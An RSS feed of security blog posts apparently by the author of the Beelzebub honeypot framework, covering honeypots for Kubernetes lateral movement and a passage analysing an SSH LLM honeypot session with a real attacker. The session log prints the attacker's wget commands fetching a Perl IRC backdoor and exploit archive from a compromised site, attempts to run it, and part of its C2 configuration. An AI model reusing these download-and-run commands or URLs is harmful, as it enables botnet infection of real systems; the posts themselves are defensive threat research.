<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: Mario Candela</title>
    <description>The latest articles on Forem by Mario Candela (@mariocandela).</description>
    <link>https://forem.com/mariocandela</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F2842566%2F07d6183f-4301-435b-9055-d44c0c6d33e3.jpeg</url>
      <title>Forem: Mario Candela</title>
      <link>https://forem.com/mariocandela</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/mariocandela"/>
    <language>en</language>
    <item>
      <title>kubernetes detect &amp; response</title>
      <dc:creator>Mario Candela</dc:creator>
      <pubDate>Sat, 05 Apr 2025 05:55:22 +0000</pubDate>
      <link>https://forem.com/mariocandela/-1gki</link>
      <guid>https://forem.com/mariocandela/-1gki</guid>
      <description>&lt;div class="ltag__link--embedded"&gt;
  &lt;div class="crayons-story "&gt;
  &lt;a href="https://dev.to/mariocandela/securing-kubernetes-using-honeypots-to-detect-and-prevent-lateral-movement-attacks-gnh" class="crayons-story__hidden-navigation-link"&gt;Securing Kubernetes Using Honeypots to Detect and Prevent Lateral Movement Attacks&lt;/a&gt;


  &lt;div class="crayons-story__body crayons-story__body-full_post"&gt;
    &lt;div class="crayons-story__top"&gt;
      &lt;div class="crayons-story__meta"&gt;
        &lt;div class="crayons-story__author-pic"&gt;

          &lt;a href="/mariocandela" class="crayons-avatar  crayons-avatar--l  "&gt;
            &lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F2842566%2F07d6183f-4301-435b-9055-d44c0c6d33e3.jpeg" alt="mariocandela profile" class="crayons-avatar__image"&gt;
          &lt;/a&gt;
        &lt;/div&gt;
        &lt;div&gt;
          &lt;div&gt;
            &lt;a href="/mariocandela" class="crayons-story__secondary fw-medium m:hidden"&gt;
              Mario Candela
            &lt;/a&gt;
            &lt;div class="profile-preview-card relative mb-4 s:mb-0 fw-medium hidden m:inline-block"&gt;
              
                Mario Candela
                
              
              &lt;div id="story-author-preview-content-2383180" class="profile-preview-card__content crayons-dropdown branded-7 p-4 pt-0"&gt;
                &lt;div class="gap-4 grid"&gt;
                  &lt;div class="-mt-4"&gt;
                    &lt;a href="/mariocandela" class="flex"&gt;
                      &lt;span class="crayons-avatar crayons-avatar--xl mr-2 shrink-0"&gt;
                        &lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F2842566%2F07d6183f-4301-435b-9055-d44c0c6d33e3.jpeg" class="crayons-avatar__image" alt=""&gt;
                      &lt;/span&gt;
                      &lt;span class="crayons-link crayons-subtitle-2 mt-5"&gt;Mario Candela&lt;/span&gt;
                    &lt;/a&gt;
                  &lt;/div&gt;
                  &lt;div class="print-hidden"&gt;
                    
                      Follow
                    
                  &lt;/div&gt;
                  &lt;div class="author-preview-metadata-container"&gt;&lt;/div&gt;
                &lt;/div&gt;
              &lt;/div&gt;
            &lt;/div&gt;

          &lt;/div&gt;
          &lt;a href="https://dev.to/mariocandela/securing-kubernetes-using-honeypots-to-detect-and-prevent-lateral-movement-attacks-gnh" class="crayons-story__tertiary fs-xs"&gt;&lt;time&gt;Apr 5 '25&lt;/time&gt;&lt;span class="time-ago-indicator-initial-placeholder"&gt;&lt;/span&gt;&lt;/a&gt;
        &lt;/div&gt;
      &lt;/div&gt;

    &lt;/div&gt;

    &lt;div class="crayons-story__indention"&gt;
      &lt;h2 class="crayons-story__title crayons-story__title-full_post"&gt;
        &lt;a href="https://dev.to/mariocandela/securing-kubernetes-using-honeypots-to-detect-and-prevent-lateral-movement-attacks-gnh" id="article-link-2383180"&gt;
          Securing Kubernetes Using Honeypots to Detect and Prevent Lateral Movement Attacks
        &lt;/a&gt;
      &lt;/h2&gt;
        &lt;div class="crayons-story__tags"&gt;
            &lt;a class="crayons-tag  crayons-tag--monochrome " href="/t/kubernetes"&gt;&lt;span class="crayons-tag__prefix"&gt;#&lt;/span&gt;kubernetes&lt;/a&gt;
            &lt;a class="crayons-tag  crayons-tag--monochrome " href="/t/cybersecurity"&gt;&lt;span class="crayons-tag__prefix"&gt;#&lt;/span&gt;cybersecurity&lt;/a&gt;
            &lt;a class="crayons-tag  crayons-tag--monochrome " href="/t/opensource"&gt;&lt;span class="crayons-tag__prefix"&gt;#&lt;/span&gt;opensource&lt;/a&gt;
            &lt;a class="crayons-tag  crayons-tag--monochrome " href="/t/llm"&gt;&lt;span class="crayons-tag__prefix"&gt;#&lt;/span&gt;llm&lt;/a&gt;
        &lt;/div&gt;
      &lt;div class="crayons-story__bottom"&gt;
        &lt;div class="crayons-story__details"&gt;
            &lt;a href="https://dev.to/mariocandela/securing-kubernetes-using-honeypots-to-detect-and-prevent-lateral-movement-attacks-gnh#comments" class="crayons-btn crayons-btn--s crayons-btn--ghost crayons-btn--icon-left flex items-center"&gt;
              Comments


              1&lt;span class="hidden s:inline"&gt; comment&lt;/span&gt;
            &lt;/a&gt;
        &lt;/div&gt;
        &lt;div class="crayons-story__save"&gt;
          &lt;small class="crayons-story__tertiary fs-xs mr-2"&gt;
            3 min read
          &lt;/small&gt;
            
              &lt;span class="bm-initial"&gt;
                

              &lt;/span&gt;
              &lt;span class="bm-success"&gt;
                

              &lt;/span&gt;
            
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;

&lt;/div&gt;


</description>
      <category>kubernetes</category>
      <category>cybersecurity</category>
      <category>opensource</category>
      <category>llm</category>
    </item>
    <item>
      <title>Securing Kubernetes Using Honeypots to Detect and Prevent Lateral Movement Attacks</title>
      <dc:creator>Mario Candela</dc:creator>
      <pubDate>Sat, 05 Apr 2025 05:53:02 +0000</pubDate>
      <link>https://forem.com/mariocandela/securing-kubernetes-using-honeypots-to-detect-and-prevent-lateral-movement-attacks-gnh</link>
      <guid>https://forem.com/mariocandela/securing-kubernetes-using-honeypots-to-detect-and-prevent-lateral-movement-attacks-gnh</guid>
      <description>&lt;p&gt;The increasing complexity of Kubernetes environments presents unique security challenges, particularly regarding lateral movement attacks. Honeypots offer a strategic advantage in detecting and preventing these threats by acting as decoy systems that appear legitimate to attackers but are actually isolated and heavily monitored.&lt;/p&gt;

&lt;p&gt;Kubernetes environments are particularly vulnerable to lateral movement due to their distributed nature, complex networking, and the potential for compromised pods, service accounts, or nodes to serve as entry points for further exploitation.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg94qi7m9zx3wpxkhlj16.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg94qi7m9zx3wpxkhlj16.png" alt="Lateral movements kubernetes" width="720" height="735"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The diagram illustrates a typical lateral movement scenario in a Kubernetes environment:&lt;/p&gt;

&lt;p&gt;Initial Access: an attacker compromises an initial pod (possibly through a vulnerable application);&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Privilege Escalation: from within the compromised pod, the attacker accesses the automatically mounted Service Account token;&lt;/li&gt;
&lt;li&gt;API Enumeration: using the token, the attacker queries the API Server to discover available resources in the cluster;&lt;/li&gt;
&lt;li&gt;Resource Discovery: the attacker identifies Secrets and ConfigMaps that might contain sensitive information;&lt;/li&gt;
&lt;li&gt;Secrets ex-filtration: the attacker gains access to credentials stored in Secrets;&lt;/li&gt;
&lt;li&gt;Use of stolen credentials: with the stolen credentials, the attacker can access databases or other external services;&lt;/li&gt;
&lt;li&gt;Cross-pod access: the attacker moves laterally to other more critical pods;&lt;/li&gt;
&lt;li&gt;Access to critical resources: from the last compromised pod, the attacker can access internal systems of the organization;&lt;/li&gt;
&lt;li&gt;Data ex-filtration: the culmination of the attack consists of exfiltrating sensitive data.
For this reason, deploying honeypots in Kubernetes environments can be an effective strategy to detect and prevent lateral movement attacks.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frzpa34g0o7zd6xijjwop.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frzpa34g0o7zd6xijjwop.png" alt="kubernetes secret meme" width="500" height="500"&gt;&lt;/a&gt;&lt;br&gt;
If you want to learn more about Kubernetes lateral movements, I recommend the video: &lt;a href="https://www.youtube.com/watch?v=1rmg2QfLJtY" rel="noopener noreferrer"&gt;https://www.youtube.com/watch?v=1rmg2QfLJtY&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Configure and deploy Beelzebub on kubernetes
&lt;/h2&gt;

&lt;p&gt;Pre requirements:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;kubectl installed and context configured &lt;a href="https://kubernetes.io/docs/tasks/tools/install-kubectl/" rel="noopener noreferrer"&gt;https://kubernetes.io/docs/tasks/tools/install-kubectl/&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;helm installed &lt;a href="https://helm.sh/docs/intro/quickstart/" rel="noopener noreferrer"&gt;https://helm.sh/docs/intro/quickstart/&lt;/a&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Below are the commands to download, configure and deploy beelzebub.&lt;/p&gt;

&lt;p&gt;Clone Beelzebub repository:&lt;br&gt;
&lt;code&gt;$ git clone https://github.com/mariocandela/beelzebub.git&lt;br&gt;
&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;You can rewrite the chart default values (&lt;a href="https://github.com/mariocandela/beelzebub/blob/main/beelzebub-chart/values.yaml" rel="noopener noreferrer"&gt;https://github.com/mariocandela/beelzebub/blob/main/beelzebub-chart/values.yaml&lt;/a&gt;) with a &lt;code&gt;custom-values.yaml&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Follow example of &lt;code&gt;custom-values.yaml&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;image:
  repository: m4r10/beelzebub
  pullPolicy: IfNotPresent
  tag: v3.0.0

beelsebubServiceConfigs: |
  apiVersion: "v1"
  protocol: "ssh"
  address: ":2222"
  description: "SSH interactive"
  commands:
    - regex: "^ls$"
      handler: "Documents Images  Desktop Downloads .m2 .kube .ssh  .docker"
    - regex: "^pwd$"
      handler: "/home/"
    - regex: "^uname -m$"
      handler: "x86_64"
    - regex: "^docker ps$"
      handler: "CONTAINER ID   IMAGE     COMMAND   CREATED   STATUS    PORTS     NAMES"
    - regex: "^docker .*$"
      handler: "Error response from daemon: dial unix docker.raw.sock: connect: connection refused"
    - regex: "^uname$"
      handler: "Linux"
    - regex: "^ps$"
      handler: "  PID TTY           TIME CMD\n21642 ttys000    0:00.07 /bin/dockerd"
    - regex: "^(.+)$"
      handler: "command not found"
  serverVersion: "OpenSSH"
  serverName: "ubuntu"
  passwordRegex: "^(root|qwerty|Smoker666|123456|jenkins|minecraft|sinus|alex|postgres|Ly123456)$"
  deadlineTimeoutSeconds: 60

service:
  type: ClusterIP
  port: 2222

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Deploy:&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Defaults values:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;$ helm install beelzebub ./beelzebub-chart&lt;br&gt;
&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Custom values:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;$ helm install beelzebub ./beelzebub-chart -f custom-values.yaml&lt;br&gt;
&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3ot9hedzkpp3epormwfi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3ot9hedzkpp3epormwfi.png" alt="Honeypot into kubernetes cluster" width="720" height="508"&gt;&lt;/a&gt;&lt;br&gt;
Regarding alert and monitoring, you can use the Prometheus and Grafana stack, or fluentd to send logs to a SIEM.&lt;/p&gt;

&lt;h2&gt;
  
  
   Conclusion
&lt;/h2&gt;

&lt;p&gt;Deploying honeypots in Kubernetes environments can be an effective strategy to detect and prevent lateral movement attacks.&lt;br&gt;
Beelzebub is a honeypot framework, you can configure it to mimic the kubernetes core component like kube-apiserver, kube-controller-manager, kube-scheduler, kubelet, kube-proxy.&lt;/p&gt;

&lt;p&gt;The Beelzebub team is dedicated to making the internet a better and safer place ❤️&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/mariocandela/beelzebub" rel="noopener noreferrer"&gt;https://github.com/mariocandela/beelzebub&lt;/a&gt;&lt;/p&gt;

</description>
      <category>kubernetes</category>
      <category>cybersecurity</category>
      <category>opensource</category>
      <category>llm</category>
    </item>
    <item>
      <title>SSH LLM Honeypot caught a real threat actor</title>
      <dc:creator>Mario Candela</dc:creator>
      <pubDate>Tue, 18 Feb 2025 09:52:55 +0000</pubDate>
      <link>https://forem.com/mariocandela/ssh-llm-honeypot-caught-a-real-threat-actor-3nh8</link>
      <guid>https://forem.com/mariocandela/ssh-llm-honeypot-caught-a-real-threat-actor-3nh8</guid>
      <description>&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;In this article, I’ll show you how an LLM honeypot can trick a threat actor.&lt;br&gt;
The threat actor, unaware of being in a honeypot, downloaded several binaries containing known exploits,&lt;br&gt;
and finally attempted to execute a Perl script to connect the server to a botnet.&lt;br&gt;
From the source code, I was able to retrieve useful information to access IRC channel used as a command and control server.&lt;/p&gt;
&lt;h2&gt;
  
  
  Honeypot configurations
&lt;/h2&gt;

&lt;p&gt;The honeypot used for the analysis is Beelzebub, a low-code honeypot framework. You can configure an SSH LLM honeypot with just one configuration file. Below are the commands to download and configure it.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Clone beelzebub examples:
&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;git clone https://github.com/mariocandela/beelzebub-example.git
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;ol&gt;
&lt;li&gt;Configure LLM SSH honeypot, just add your OpenAI key (openAISecretKey), or execute using llama.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Edit file at: configurations/services/ssh-2222.yaml&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;apiVersion&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;v1"&lt;/span&gt;
&lt;span class="na"&gt;protocol&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ssh"&lt;/span&gt;
&lt;span class="na"&gt;address&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;:2222"&lt;/span&gt;
&lt;span class="na"&gt;description&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;SSH&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;LLM&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;Honeypot"&lt;/span&gt;
&lt;span class="na"&gt;commands&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;regex&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;^(.+)$"&lt;/span&gt;
    &lt;span class="na"&gt;plugin&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;LLMHoneypot"&lt;/span&gt;
&lt;span class="na"&gt;serverVersion&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;OpenSSH"&lt;/span&gt;
&lt;span class="na"&gt;serverName&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ubuntu"&lt;/span&gt;
&lt;span class="na"&gt;passwordRegex&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;^(root|qwerty|Smoker666|123456|jenkins|minecraft|sinus|alex|postgres|Ly123456)$"&lt;/span&gt;
&lt;span class="na"&gt;deadlineTimeoutSeconds&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;120&lt;/span&gt;
&lt;span class="na"&gt;plugin&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;llmModel&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;gpt4-o"&lt;/span&gt;
    &lt;span class="na"&gt;openAISecretKey&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;sk-proj-1234567890"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Execute using docker:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;docker compose up &lt;span class="nt"&gt;-d&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Show logs:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;docker logs &lt;span class="nt"&gt;--follow&lt;/span&gt; beelzebub
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Analysis
&lt;/h2&gt;

&lt;p&gt;The source IP address of the threat actor is 45.175.100.69, the user and password used are admin/123456.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fun88mk4m6vu649zyxax8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fun88mk4m6vu649zyxax8.png" alt="Image description" width="271" height="218"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Following the commands executed by the threat actor and the output by the LLM honeypot:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;uname&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nb"&gt;uptime&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nb"&gt;nproc
&lt;/span&gt;Linux ubuntu 5.15.0-60-generic 66-Ubuntu SMP Mon Oct 10 16:30:08 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
16:22:01 up  1:24,  2 &lt;span class="nb"&gt;users&lt;/span&gt;,  load average: 0.72, 0.65, 0.70
4

&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; /tmp

&lt;span class="nv"&gt;$ &lt;/span&gt;wget http://deep-fm.de/tmp/files/sshd
&lt;span class="nt"&gt;--2023-10-14&lt;/span&gt; 16:23:45--  http://deep-fm.de/tmp/files/sshd
Resolving deep-fm.de &lt;span class="o"&gt;(&lt;/span&gt;deep-fm.de&lt;span class="o"&gt;)&lt;/span&gt;... 192.0.2.1
Connecting to deep-fm.de &lt;span class="o"&gt;(&lt;/span&gt;deep-fm.de&lt;span class="o"&gt;)&lt;/span&gt;|192.0.2.1|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 85647 &lt;span class="o"&gt;(&lt;/span&gt;84K&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;application/octet-stream]
Saving to: &lt;span class="s1"&gt;'sshd'&lt;/span&gt;

sshd                           100%[&lt;span class="o"&gt;===================================================&amp;gt;]&lt;/span&gt;  83.64K  &lt;span class="nt"&gt;--&lt;/span&gt;.-KB/s    &lt;span class="k"&gt;in &lt;/span&gt;0.04s   

2023-10-14 16:23:45 &lt;span class="o"&gt;(&lt;/span&gt;2.08 MB/s&lt;span class="o"&gt;)&lt;/span&gt; - &lt;span class="s1"&gt;'sshd'&lt;/span&gt; saved &lt;span class="o"&gt;[&lt;/span&gt;85647/85647]

&lt;span class="nv"&gt;$ &lt;/span&gt;perl sshd
bash: ./sshd: Permission denied

&lt;span class="nv"&gt;$ &lt;/span&gt;wget http://deep-fm.de/tmp/files/emech.tar.gz
&lt;span class="nt"&gt;--2023-10-14&lt;/span&gt; 16:25:10--  http://deep-fm.de/tmp/files/emech.tar.gz
Resolving deep-fm.de &lt;span class="o"&gt;(&lt;/span&gt;deep-fm.de&lt;span class="o"&gt;)&lt;/span&gt;... 192.0.2.1
Connecting to deep-fm.de &lt;span class="o"&gt;(&lt;/span&gt;deep-fm.de&lt;span class="o"&gt;)&lt;/span&gt;|192.0.2.1|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 102400 &lt;span class="o"&gt;(&lt;/span&gt;100K&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;application/x-gzip]
Saving to: &lt;span class="s1"&gt;'emech.tar.gz'&lt;/span&gt;

emech.tar.gz                     100%[&lt;span class="o"&gt;===================================================&amp;gt;]&lt;/span&gt; 100.00K  &lt;span class="nt"&gt;--&lt;/span&gt;.-KB/s    &lt;span class="k"&gt;in &lt;/span&gt;0.03s   

2023-10-14 16:25:10 &lt;span class="o"&gt;(&lt;/span&gt;3.11 MB/s&lt;span class="o"&gt;)&lt;/span&gt; - &lt;span class="s1"&gt;'emech.tar.gz'&lt;/span&gt; saved &lt;span class="o"&gt;[&lt;/span&gt;102400/102400]

&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;tar &lt;/span&gt;zxvf emech.tar.gz
emech/
emech/install.sh
emech/README.md
emech/bin/
emech/bin/emech
emech/lib/
emech/lib/core.so
emech/doc/
emech/doc/manual.txt

&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls
&lt;/span&gt;emech  emech.tar.gz  sshd

&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt;
&lt;span class="nb"&gt;.&lt;/span&gt;  ..  emech  emech.tar.gz  sshd

&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;tar &lt;/span&gt;zxvf emech.tar.gz
emech/
emech/install.sh
emech/README.md
emech/bin/
emech/bin/emech
emech/lib/
emech/lib/core.so
emech/doc/
emech/doc/manual.txt

&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls
&lt;/span&gt;emech  emech.tar.gz  sshd

&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;tar &lt;/span&gt;xvf emech.tar.gz
emech/
emech/install.sh
emech/README.md
emech/bin/
emech/bin/emech
emech/lib/
emech/lib/core.so
emech/doc/
emech/doc/manual.txt

&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;rm&lt;/span&gt; &lt;span class="nt"&gt;-rf&lt;/span&gt; emech.tar.gz emech

&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;chmod&lt;/span&gt; +777 sshd

&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls
&lt;/span&gt;sshd

&lt;span class="nv"&gt;$ &lt;/span&gt;perl sshd
Can&lt;span class="s1"&gt;'t open perl script "sshd": Permission denied

$ cd /var/tmp

$ wget http://deep-fm.de/tmp/files/sshd
--2023-10-14 16:23:45--  http://deep-fm.de/tmp/files/sshd
Resolving deep-fm.de (deep-fm.de)... 192.0.2.1
Connecting to deep-fm.de (deep-fm.de)|192.0.2.1|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 85647 (84K) [application/octet-stream]
Saving to: '&lt;/span&gt;sshd&lt;span class="s1"&gt;'

sshd                           100%[===================================================&amp;gt;]  83.64K  --.-KB/s    in 0.04s   

$ chmod +x sshd

$ perl sshd
Can'&lt;/span&gt;t open perl script &lt;span class="s2"&gt;"sshd"&lt;/span&gt;: Permission denied

&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;su
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; password &lt;span class="k"&gt;for &lt;/span&gt;user:

&lt;span class="nv"&gt;$ &lt;/span&gt;123456
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I started analyzing the threat actor's behavior by checking the compromised site: &lt;a href="http://deep-fm.de" rel="noopener noreferrer"&gt;http://deep-fm.de&lt;/a&gt;. The site is based on the Joomla CMS and exposes many services(old version).&lt;br&gt;
The threat actor violated the system and used it as storage containing several exploits and botnet configuration scripts.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F87zniimhhe2u7qpwj05t.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F87zniimhhe2u7qpwj05t.png" alt="Image description" width="658" height="711"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The first file downloaded by the threat actor is a perl script named sshd(&lt;a href="http://deep-fm.de/tmp/files/sshd" rel="noopener noreferrer"&gt;http://deep-fm.de/tmp/files/sshd&lt;/a&gt;), the script is a backdoor that allows the threat actor to connect to the server and execute commands or DOS attacks. &lt;br&gt;
The backdoor use a IRC channel as a command and control server.&lt;/p&gt;

&lt;p&gt;From line 78 to 89 of the perl script, we can see the configuration of the IRC server and the channels used by the threat actor:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight perl"&gt;&lt;code&gt;&lt;span class="nv"&gt;$server&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;ix1.undernet.org&lt;/span&gt;&lt;span class="p"&gt;'&lt;/span&gt; &lt;span class="k"&gt;unless&lt;/span&gt; &lt;span class="nv"&gt;$server&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;my&lt;/span&gt; &lt;span class="nv"&gt;$port&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;6667&lt;/span&gt;&lt;span class="p"&gt;';&lt;/span&gt;

